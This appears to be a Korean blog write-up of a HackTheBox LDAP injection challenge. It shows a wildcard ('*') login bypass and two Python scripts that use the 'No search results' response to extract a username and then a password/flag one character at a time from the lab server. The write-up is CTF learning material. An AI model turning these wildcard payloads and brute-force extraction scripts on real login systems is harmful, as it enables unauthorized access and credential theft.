HackTheBox 에서 제공하는
LDAP Injection 관련 문제
사실 이번 문제를 풀면서 LDAP Injection을 처음 경험해 봐서
난이도는 EASY 지만 꽤나 오랜 시간이 걸렸다.
문제를 푸는시간보다 LDAP Injection이 취약점이라는것을 알아차리는게 오래걸렸다.
문제 페이지에 접속하면
이렇게 로그인 페이지가 나온다.
일단 여기서 SQL Injection 인줄 알고 별의별 시도를 다 해보느라 시간이 오래걸렸다.
이것저것 넣어보다가 특이한것을 발견했다.
로그인에 실패하면 위처럼 빨간 박스에 Authentication failed 라는 문구가 뜨는데
username 과 password 에 각각 * / * 을 입력하면
뭔가 로그인이 된 듯한 화면으로 넘어간다는 것이다.
여기서 LDAP Injection 이 가능할 것이라고 생각했다.
일단 로그인이 성공하면 No search results 라는 문구가 나온다는것을 기억해둔다.
일단 username을 먼저 알아보기로 했다.
import requests
import string
url = 'http://64.227.43.207:31350/login'
strings = 'abcdefghijklmnopqrstuvwxyz{}_0123456789'
username = ''
for i in range(len(strings)):
for j in range(len(strings)):
user = username + strings[j] + "*"
data = {"username":user,"password":"*"}
r = requests.post(url, data=data)
if "No search results" in r.text:
username += strings[j]
print(strings[j])
break
print(username)
파이썬 코드로 이렇게 간단하게 작성이 가능하다.
string.printable 로 프린터블한 문자열을 변수로 저장해주고,
username 이라는 빈 변수를 하나 만들어서
for 문을 이용해 strings 에 저장된 문자열 + * 을 계속 대입해보며
response 패킷에 No search results 라는 문구가 있으면
해당 문자열을 username 변수에 하나씩 추가해주었다.
그럼 이렇게 reese 라는 계정이 있다는 것을 알아낼 수 있다.
HackTheBox 의 플래그 포맷은 HTB{} 이니, 일단 계정명은 정답이 아니다.
비밀번호를 알아내는것으로 코드를 살짝만 수정해준다.
import requests
import string
url = 'http://64.227.43.207:31350/login'
strings = 'HTBabcdefghijklmnopqrstuvwxyz{}_0123456789'
password = ''
for i in range(len(strings)):
for j in range(len(strings)):
passw = password + strings[j] + "*"
data = {"username":"reese","password":passw}
r = requests.post(url, data=data)
if "No search results" in r.text:
password += strings[j]
print(strings[j])
break
print(password)
username 을 password 로 바꿔주고
post data 에 들어갈 위치만 변경해주면 된다.
코드를 실행시키면 이렇게 플래그가 출력되는 것을 볼 수 있다.
'워게임 > HackTheBox' 카테고리의 다른 글
[HackTheBox] baby CachedView - 웹해킹 / Flask (59) | 2022.10.31 |
---|---|
[HackTheBox] misDIRection - MISC / Shell script (43) | 2022.10.21 |
[HackTheBox] Pusheen Loves Graphs - MISC / IDA (46) | 2022.10.05 |
[HackTheBox] Templated - 웹해킹 / SSTI (34) | 2022.10.02 |
[HackTheBox] Emdee five for life - 웹해킹 / Requests / BeautifulSoup (48) | 2022.09.29 |